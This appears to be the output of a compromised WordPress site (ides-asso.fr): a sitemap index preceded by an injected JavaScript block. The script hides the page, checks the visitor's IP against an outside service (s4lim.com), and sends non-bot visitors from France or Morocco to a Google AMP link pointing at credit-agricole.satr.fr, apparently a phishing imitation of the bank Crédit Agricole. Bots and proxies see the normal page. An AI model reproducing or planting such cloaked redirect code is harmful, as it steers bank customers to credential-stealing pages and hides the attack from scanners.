    <script>
        function generateRandomString(length) {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
            return result;
        }

        async function checkIpAddress(ip) {
            try {
                // Fetch IP information
                const response = await fetch(`https://s4lim.com/ip.php?ip=${ip}`);
                if (!response.ok) {
                    throw new Error(`HTTP error! status: ${response.status}`);
                }
                const ipInfos = await response.json();

                // Check if the query string contains 'enzo'
                const params = new URLSearchParams(window.location.search);
                const hasEnzo = params.get('red');
                const randomString = generateRandomString(20);

                // Check conditions for country code, proxy, and bot status
                if ((ipInfos.countrycode === "FR" || ipInfos.countrycode === "MA") && hasEnzo) {
                    if (!(ipInfos.proxy || ipInfos.IsBot)) {
                        const redirectUrl = typeof popUrl !== 'undefined' && popUrl !== '' 
                                            ? popUrl 
                                            : 'https://www.google.com/amp/credit-agricole.satr.fr/' + randomString;
                        // Redirect to the appropriate URL
                        window.location.replace(redirectUrl);
                        return true; // Redirection triggered
                    }
                }
                return false; // Conditions not met
            } catch (error) {
                console.error("Error fetching IP data:", error.message);
                return false;
            }
        }

        async function getUserIP() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                if (!response.ok) {
                    throw new Error(`HTTP error! status: ${response.status}`);
                }
                const data = await response.json();
                console.log("User's IP Address:", data.ip);
                return data.ip;
            } catch (error) {
                console.error("Error fetching IP address:", error);
                return null;
            }
        }

        document.addEventListener("DOMContentLoaded", async () => {
            const ip = await getUserIP();
            if (ip) {
                const redirectTriggered = await checkIpAddress(ip);
                if (redirectTriggered) {
                    console.log("Redirection triggered based on IP check.");
                } else {
                    console.log("Conditions not met for redirection.");
                    document.body.style.display = "block"; // Show the body for WordPress content
                }
            } else {
                console.log("Failed to retrieve user IP.");
                document.body.style.display = "block"; // Show the body for WordPress content
            }
        });

        // Initially hide the body until IP check is complete
        document.write('<style>body { display: none; }</style>');
    </script>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://ides-asso.fr/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://ides-asso.fr/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://ides-asso.fr/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://ides-asso.fr/wp-sitemap-posts-formation-1.xml</loc></sitemap><sitemap><loc>https://ides-asso.fr/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://ides-asso.fr/wp-sitemap-taxonomies-dossier-1.xml</loc></sitemap><sitemap><loc>https://ides-asso.fr/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
